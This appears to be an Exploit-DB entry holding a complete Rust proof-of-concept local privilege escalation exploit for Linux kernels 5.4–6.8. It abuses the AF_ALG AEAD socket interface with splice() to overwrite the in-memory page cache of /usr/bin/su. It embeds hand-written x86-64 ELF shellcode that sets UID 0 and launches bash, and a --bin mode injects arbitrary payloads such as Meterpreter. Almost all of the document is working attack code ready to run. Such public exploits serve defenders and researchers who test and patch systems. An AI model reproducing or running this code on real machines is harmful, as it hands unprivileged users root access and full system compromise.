Linux Kernel 6.8 - Local Privilege Escalation

EDB-ID:

52573

CVE:

N/A




Platform:

Linux

Date:

2026-05-26


 * Exploit Title: Linux Kernel 5.4 - 6.8 - Local Privilege Escalation
 * Google Dork: N/A
 * Date: 2026-04-30
 * Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng)
 * Vendor Homepage: https://www.kernel.org/
 * Software Link: https://git.kernel.org/
 * Version: Linux Kernel 5.4 - 6.8 (unpatched)
 * Tested on: Ubuntu 22.04, Debian 12
 * 
 * Description:
 * Linux kernel AF_ALG (algif_aead) vulnerability allows local users
 * to perform arbitrary file overwrite in page cache via splice()
 * and AEAD crypto interface, leading to privilege escalation.
 *
 * This exploit overwrites /usr/bin/su in memory and spawns a root shell.
 * 
 * Requirements:
 * - Unprivileged local user
 * - algif_aead module loaded
 *
 * Usage:
 *   --test       Check vulnerability
 *   --exploit    Spawn root shell
 *   --bin <file> Use custom payload
 */

use std::{env, fs, io};
use std::ffi::CString;
use std::fs::File;
use std::io::{Read, Write};
use std::os::unix::io::AsRawFd;

const TARGET_BINARY: &str = "/usr/bin/su";
const TEST_FILE: &str = "/tmp/.cve_test";

// Shellcode (/bin/bash)
/*
; https://filippo.io/linux-syscall-table/
db 0x7f, 'ELF', 2, 1, 1, 0      ; e_ident
dq 0                            ; padding
dw 2                            ; e_type (ET_EXEC)
dw 62                           ; e_machine (EM_X86_64)
dd 1                            ; e_version
dq 0x400078                     ; e_entry (Entry point)
dq 0x40                         ; e_phoff (Program Header Offset)
dq 0                            ; e_shoff
dd 0                            ; e_flags
dw 64                           ; e_ehsize
dw 56                           ; e_phentsize
dw 1                            ; e_phnum
dw 0, 0, 0                      ; s_header info

; Program Header
dd 1                            ; p_type (PT_LOAD)
dd 5                            ; p_flags (PF_R | PF_X)
dq 0                            ; p_offset
dq 0x400000                     ; p_vaddr
dq 0x400000                     ; p_paddr
dq 0x9e                         ; p_filesz
dq 0x9e                         ; p_memsz
dq 0x1000                       ; p_align

; Program
_start:
    ; setuid(0)
    xor eax, eax                ; clear eax
    xor edi, edi                ; edi = 0 (UID 0)
    mov al, 105                 ; syscall 105 (setuid)
    syscall

    ; execve("/bin/bash", NULL, NULL)
    lea rdi, [rel path]         ; Load effective address of the string
    xor esi, esi                ; argv = NULL
    cdq                         ; edx = 0 (envp = NULL)
    mov al, 59                  ; syscall 59 (execve)
    syscall

    ; exit(0)
    xor edi, edi
    push 60
    pop rax                     ; syscall 60 (exit)
    syscall

path: db "/bin/bash", 0
*/
const BASH_SHELLCODE: &[u8] = &[
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05,
    0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31,
    0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00
];

unsafe fn inject_payload(fd: i32, payload: &[u8]) {
    for i in (0..payload.len()).step_by(4) {
        let mut chunk = [0u8; 4];
        let end = std::cmp::min(i + 4, payload.len());
        chunk[..end - i].copy_from_slice(&payload[i..end]);
        
        do_kernel_injection(fd, i, &chunk);
        
        if i % 40 == 0 {
            io::stdout().flush().ok(); 
        }
    }
}

// Linux kernel injection
unsafe fn do_kernel_injection(target_fd: i32, t_idx: usize, chunk: &[u8]) {
    let master_fd = libc::socket(38, libc::SOCK_SEQPACKET, 0);
    let mut addr: [u8; 88] = [0; 88]; 
    addr[0..2].copy_from_slice(&38u16.to_ne_bytes());
    std::ptr::copy_nonoverlapping("aead".as_ptr(), addr.as_mut_ptr().add(2), 4);
    let name = "authencesn(hmac(sha256),cbc(aes))";
    std::ptr::copy_nonoverlapping(name.as_ptr(), addr.as_mut_ptr().add(24), name.len());
    libc::bind(master_fd, addr.as_ptr() as _, 88);

    let mut key = [0u8; 40];
    key[0..8].copy_from_slice(&[0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10]);
    libc::setsockopt(master_fd, 279, 1, key.as_ptr() as _, 40);
    libc::setsockopt(master_fd, 279, 5, &4u32 as *const _ as _, 4);

    let op_fd = libc::accept(master_fd, std::ptr::null_mut(), std::ptr::null_mut());
    let mut cmsg_buf = [0u8; 128];
    let mut data = [0u8; 8];
    data[0..4].copy_from_slice(b"AAAA");
    data[4..8].copy_from_slice(chunk);
    
    let mut iov = libc::iovec { iov_base: data.as_mut_ptr() as _, iov_len: 8 };
    let mut msg: libc::msghdr = std::mem::zeroed();
    msg.msg_iov = &mut iov;
    msg.msg_iovlen = 1;
    msg.msg_control = cmsg_buf.as_mut_ptr() as _;
    
    let mut p = cmsg_buf.as_mut_ptr();

    let mut h1: libc::cmsghdr = std::mem::zeroed();
    h1.cmsg_len = libc::CMSG_LEN(4) as _;
    h1.cmsg_level = 279;
    h1.cmsg_type = 3;
    *(p as *mut libc::cmsghdr) = h1;
    p = p.add(libc::CMSG_SPACE(4) as usize);

    let mut h2: libc::cmsghdr = std::mem::zeroed();
    h2.cmsg_len = libc::CMSG_LEN(20) as _;
    h2.cmsg_level = 279;
    h2.cmsg_type = 2;
    *(p as *mut libc::cmsghdr) = h2;
    *(libc::CMSG_DATA(p as _) as *mut u32) = 16;
    p = p.add(libc::CMSG_SPACE(20) as usize);

    let mut h3: libc::cmsghdr = std::mem::zeroed();
    h3.cmsg_len = libc::CMSG_LEN(4) as _;
    h3.cmsg_level = 279;
    h3.cmsg_type = 4;
    *(p as *mut libc::cmsghdr) = h3;
    *(libc::CMSG_DATA(p as _) as *mut u32) = 8;
    
    msg.msg_controllen = 32 + 16 + 16; 

    libc::sendmsg(op_fd, &msg, 0x8000);
    
    let mut pipes = [0i32; 2];
    libc::pipe(pipes.as_mut_ptr());
    let mut off: i64 = 0;
    
    libc::splice(target_fd, &mut off, pipes[1], std::ptr::null_mut(), t_idx + 4, 0);
    libc::splice(pipes[0], std::ptr::null_mut(), op_fd, std::ptr::null_mut(), t_idx + 4, 0);
    
    let mut drain = [0u8; 1024];
    libc::recv(op_fd, drain.as_mut_ptr() as _, 1024, 0x40);

    libc::close(op_fd); libc::close(master_fd);
    libc::close(pipes[0]); libc::close(pipes[1]);
}

fn main() -> io::Result<()> {
    let args: Vec<String> = env::args().collect();
    println!("--------------------------------------------------");
    println!("  CVE-2026-31431 Linux Copy-Fail Exploit (Rust)   ");
    println!("--------------------------------------------------");

    if args.len() < 2 {
        println!("Usage: {} [--test | --exploit | --bin <file>]", args[0]);
        return Ok(());
    }

    match args[1].as_str() {

        "--test" => {
            // Test vulnerability

            println!("[*] Mode: Vulnerability Testing");
            
            let mut f = File::create(TEST_FILE)?;
            f.write_all(&vec![b'A'; 64])?;
            let target = File::open(TEST_FILE)?;
            
            unsafe {
                inject_payload(target.as_raw_fd(), b"HACK")
            };
            
            let mut res = vec![0u8; 4];
            File::open(TEST_FILE)?.read_exact(&mut res)?;
            
            if &res == b"HACK" {
                println!("\x1b[31;1m[!] VULNERABLE!\x1b[0m");
            }
            else {
                println!("[+] SAFE");
            }
            
            fs::remove_file(TEST_FILE).ok();
        }

        "--exploit" => {
           // Vulnerability exploitation, provide interactive shell
           
           println!("[*] Mode: Privilege Escalation (Default: /bin/bash)");
            
            let target = File::open(TARGET_BINARY)?;
            unsafe {
                inject_payload(target.as_raw_fd(), BASH_SHELLCODE)
            };
            
            println!("\n[+] Spawning root shell...");
            
            let cmd = CString::new("su").unwrap();
            unsafe {
                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
            }
        }

        "--bin" => {
            // Load customized shellcode bin file, such as Meterpreter

            if args.len() < 3 {
                println!("[!] Error: Please specify a bin file.");
                return Ok(());
            }

            let bin_path = &args[2];

            println!("[*] Mode: Custom Shellcode Injection");
            println!("[*] Loading: {}", bin_path);

            let custom_payload = fs::read(bin_path)?;
            let target = File::open(TARGET_BINARY)?;
            
            unsafe {
                inject_payload(target.as_raw_fd(), &custom_payload) 
            };

            println!("\n[+] Injection complete. Executing {}...", TARGET_BINARY);
            
            let cmd = CString::new("su").unwrap();
            unsafe {
                libc::execvp(cmd.as_ptr(), [cmd.as_ptr(), std::ptr::null()].as_ptr());
            }
        }
        
        _ => println!("[!] Unknown option.")
    }

    Ok(())
}